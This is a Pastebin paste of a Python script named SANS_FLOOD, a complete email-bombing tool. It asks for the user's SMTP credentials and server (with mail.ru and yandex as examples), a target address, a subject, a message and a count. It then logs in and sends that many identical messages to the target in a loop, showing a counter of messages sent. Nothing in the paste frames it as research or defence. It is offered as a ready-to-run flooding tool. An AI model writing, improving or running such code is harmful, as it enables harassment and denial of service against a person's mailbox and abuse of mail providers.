Advertisement
lol222222

SANS_FLOOD

Jan 23rd, 2020
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.98 KB | None | 0 0
  1. #pip install termcolor
  2. import smtplib as root
  3. from email.mime.text import MIMEText
  4. from email.mime.multipart import MIMEMultipart
  5. from termcolor import colored
  6. from datetime import datetime
  7.  
  8.  
  9. print(colored('''
  10. __________________________________________________________________________________
  11.  
  12. ░██████╗░█████╗░███╗░░██╗░██████╗███████╗██╗░░░░░░█████╗░░█████╗░██████╗░
  13. ██╔════╝██╔══██╗████╗░██║██╔════╝██╔════╝██║░░░░░██╔══██╗██╔══██╗██╔══██╗
  14. ╚█████╗░███████║██╔██╗██║╚█████╗░█████╗░░██║░░░░░██║░░██║██║░░██║██║░░██║
  15. ░╚═══██╗██╔══██║██║╚████║░╚═══██╗██╔══╝░░██║░░░░░██║░░██║██║░░██║██║░░██║
  16. ██████╔╝██║░░██║██║░╚███║██████╔╝██║░░░░░███████╗╚█████╔╝╚█████╔╝██████╔╝
  17. ╚═════╝░╚═╝░░╚═╝╚═╝░░╚══╝╚═════╝░╚═╝░░░░░╚══════╝░╚════╝░░╚════╝░╚═════╝░
  18. __________________________________________________________________________________
  19. ''', 'red'))
  20.  
  21.  
  22. def flood_mail():
  23. print(colored('=================================================================','red'))
  24. login = input(colored( ' Enter_login:>>>','red' ))
  25. print(colored('=================================================================','red'))
  26. password = input(colored( ' Enter_password:>>>','red' ))
  27. print(colored('=================================================================','red'))
  28. print(colored('''
  29. ==============================================
  30. example-" smtp.mail.ru " for email and yandex
  31. example-" smtp.yandex.ru "
  32. ==============================================
  33. ''','yellow'))
  34. print(colored('=================================================================','red'))
  35. url = input(colored( ' URL-SMTP-MAIL:>>>','red' ))
  36. print(colored('=================================================================','red'))
  37. toadder = input(colored( ' to_whom?:>>>','red' ))
  38. print(colored('=================================================================','red'))
  39. topic = input(colored( ' theme:>>>','red' ))
  40. print(colored('=================================================================','red'))
  41. messege = input(colored( ' Enter_message:>>>', 'red' ))
  42. print(colored('=================================================================','red'))
  43. #=================================
  44. num = input(colored(' how many posts:>>>','red'))
  45. print(colored('=================================================================\n','red'))
  46.  
  47. for value in range( int(num) ):
  48. msg = MIMEMultipart()
  49.  
  50. msg['Subject'] = topic
  51. msg['from'] = login
  52. body = messege
  53. msg.attach( MIMEText(body, 'plain') )
  54.  
  55.  
  56. server = root.SMTP_SSL( url, 465 )
  57. server.login( login,password )
  58. server.sendmail( login, toadder, msg.as_string() )
  59.  
  60. #=============
  61. value += 1
  62. print(colored("==========================",'green'))
  63. print(colored('☢☢☢_messages_sent:>>>','green') + str( value ))
  64. print(colored("==========================",'green'))
  65.  
  66. def main():
  67. flood_mail()
  68.  
  69. if __name__ == '__main__':
  70. main()
  71.  
  72.  
  73. print(colored('__________________________________________________________________ \n','red'))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement